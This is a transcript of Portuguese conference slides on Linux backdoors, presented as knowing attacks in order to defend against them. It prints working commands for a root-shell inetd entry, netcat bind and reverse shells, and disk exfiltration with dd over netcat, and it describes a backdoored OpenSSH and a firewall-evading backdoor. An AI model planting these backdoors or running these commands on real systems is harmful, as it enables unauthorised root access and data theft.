SIGES 2008 Backdoors em Sistemas GNU/Linux:

Transcrição

SIGES 2008 Backdoors em Sistemas GNU/Linux:
SIGES 2008
SIGES 2008
Backdoors em Sistemas GNU/Linux:
Conhecendo Para Se Proteger.
Jansen Sena
Santarém, PA
Novembro, 2008
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Sobre o palestrante
●
Formação
–
Mestrado pelo IC na Unicamp/SP
Segurança de redes
● Administração de Sistemas Unix
●
–
–
●
Atividades atuais
–
–
–
●
LPI Certified Professional (LPIC­1 / LPIC­2)
ITIL Foundations Certified
Atech Tecnologias Críticas
Revista PC&CIA
Consultor em TI
http://www.jsena.info
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Anatomia geral de ataque
Specific attack
tasks
Data Gathering
Targed?
Non-targed?
Exploitation
Elevate Privilegies
Methodology?
Metastasis?
Black Hat?
Script
Kiddie?
Insiders?
Install Backdoors
Cover Tracks
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Explorando o inetd
●
O que é inetd?
–
–
–
●
Internet Super Server
Presente na maioria dos sistemas Unix
Gerencia recebimento de conexões para serviços
Como explorar?
–
–
–
Implementação simples e rápida
Não requer de componentes externos
Criar uma nova entrada de serviço apontando para um interpretador de comandos (e.g. sh)
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Explorando o inetd
●
Criando a backdoor na vítima...
–
Inserir entrada em /etc/inetd.conf
daytime stream tcp nowait root /bin/sh sh ­i
Nome do serviço cuja
porta está especificada
em /etc/services
–
Usuário dono do
processo... determina o
privilégio!
O que deve ser
executado ???
Reiniciar o inetd na vítima
# /etc/init.d/inetutils­inetd restart
–
Explorando backdoor a partir do sistema atacante
$ netcat <endereco IP vitima> daytime
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Explorando o inetd
Acesso direto de super-usuário
sem necessidade de senha !!!
Atacante
scadufax
(192.168.1.100)
Vítima
smeagol
(192.168.1.101)
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
phpRemoteShell
●
Página Web em PHP que recebe comandos e os submete para execução no servidor
–
●
Fácil instalação
–
●
Saída dos comandos é impressa no browser
cópia do arquivo PHP para pasta visível pelo servidor Web
Dificuldade: maioria dos servidores Apache não executam com privilégios de root
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
phpRemoteShell
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Netcat
Clonando o disco rígido da vítima...
Vítima
(10.1.1.1)
Copia “bit a bit” a
partição /dev/hda1 e
repassa como entrada
para o netcat
#2
Atacante
#1
(10.1.1.2)
$ netcat ­l ­p 5000 > hda1.img
Transfere pela
rede dados
●
Direciona saída para o
arquivo hda1.img
# dd if=/dev/hda1 | netcat 10.1.1.2 5000
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Netcat
●
Shell de super­usuário sem senha!
Acesso direto de super-usuário
sem necessidade de senha !!!
Atacante
Vítima
scadufax
(192.168.1.100)
smeagol
(192.168.1.101)
#1
#2
$ netcat 192.168.1.101 50001
# netcat ­l ­p 50001 | sh
Submete “string” contendo
o comando a ser executado
(e.g. mkdir /etc/ataque)
“string” é repassada ao sh e
interpretada como comando!
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Netcat
●
Shell de super­usuário sem senha!
Acesso direto de super-usuário
sem necessidade de senha !!!
Atacante
scadufax
(192.168.1.100)
Vítima
smeagol
(192.168.1.101)
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Netcat
●
Shell de super­usuário sem senha! (cont.)
–
–
Atacante não tem, nesse caso, o retorno dos comandos enviados ao sistema atacado
Saída do “sh” pode ser redirecionada para o sistema do atacante...
●
Atacante com duas ações
–
Uma para enviar os comandos para o sistema da vítima...
–
... e outra para receber o resultado dos comandos executados no sistema da vítima
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Netcat
Acesso direto de super-usuário
sem necessidade de senha !!!
Atacante
scadufax
(192.168.1.100)
Vítima
Submete “string” contendo o
comando a ser executado (e.g.
mkdir /etc/ataque)
$ netcat 192.168.1.101 50001
#2
smeagol
(192.168.1.101)
Saída do comando é
encaminhada como entrada ao
netcat conectado ao sistema
do atacante...
# netcat ­l ­p 50001 | sh | netcat scadufax 50000
“string” é repassada ao sh e
interpretada como comando!
#1
$ netcat ­l ­p 50000
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Netcat
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
OpenSSH (backdoored)
●
OpenSSH (backdoored version)
–
–
Utilizado para acesso remoto seguro
Sensação de segurança...
●
Comunicação entre cliente e servidor é protegida por recursos criptográficos
–
●
Chaves são trocadas no primeiro acesso
Comprometimento pode não estar no trânsito dos dados pela rede!!!
–
É possível manipular informações não protegidas nas pontas do túnel sob proteção criptográfica
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
OpenSSH (backdoored)
Atacante
Protected
traffic from
sniffers
Check for “magic”
password
OpenSSH Server
(Backdoored)
Cliente
autêntico
Password
logfile
Magic
Password
File
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Linux
Authentication
System
OpenSSH (backdoored)
●
Dois parâmetros devem ser utilizados...
–
–
Arquivo de log para registrar passwords utilizadas Arquivo de configuração contendo o “magic password” e a versão do servidor... ●
Sem parâmetros, funciona como um server normal
MD5 correspondente
ao “magic password”
(e.g. “nsn”)
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
OpenSSH (backdoored)
●
Executando o servidor...
# ./sshd ­p 2222 ­n /tmp/.cfg ­s /tmp/.passlist
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Silentdoor
●
●
●
Connectionless backdoor
Permite execução de comandos no sistema comprometido sem necessidade de senhas
Capaz de subverter filtragem do netfilter/iptables
–
Sysadmins confiam em regras do iptables
●
●
●
Estão acima de qualquer suspeita (???)
Explora “sensação de segurança”
Implementado como prova de conceito
–
Utiliza o acesso provido pela libpcap
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Silentdoor
●
Arquitetura geral
Applications
Upper layers
DROP ACCEPT ...
iptables
Atacante
libpcap
Lower layers
Special silentdoor
package to 53 port
SILENTDOOR
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Silentdoor
●
Executando o daemon...
# ./silence&
Silentedoor
daemon
process
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Silentdoor
●
Bloqueando o tráfego com o iptables...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Silentdoor
●
Executando o ataque...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Silentdoor
●
Um pouco mais sobre o silentdoor...
–
Não provê acesso a shell...
●
–
●
●
...mas permite a execução de quaisquer comandos
Consegue manter­se bem “escondido”
Dificuldade: dependência da libnet e libpcap
Alternativa: Safebreaker
–
Existem outros backdoors que executam comandos “embutidos” em pacotes ICMP !!!
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Finalmente...
●
●
●
Ampla diversidade
Sofisticação de soluções
Conhecer é a melhor estratégia para proteger­se
–
–
●
Ambiente de testes!
Pensar como atacante
Evite software proprietário!
–
Backdoor ???
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Mais que 1000 palavras...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Mais que 1000 palavras...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Mais que 1000 palavras...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Mais que 1000 palavras...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Mais que 1000 palavras...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Mais que 1000 palavras...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Mais que 1000 palavras...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Erro de erro??? :-(
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
O importante é dar o primeiro passo...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
... compartilhar conhecimento...
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
... e logo você entenderá o poder de uma...
COMUNIDADE!!!
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
Perguntas e dúvidas?
“Sonho que se sonha só, é só um sonho que se sonha só, mas sonho que se sonha junto é realidade.”
Raul Seixas
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)
MUITO OBRIGADO!!!
[email protected]
Que a Força esteja com vocês!
http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)

Documentos relacionados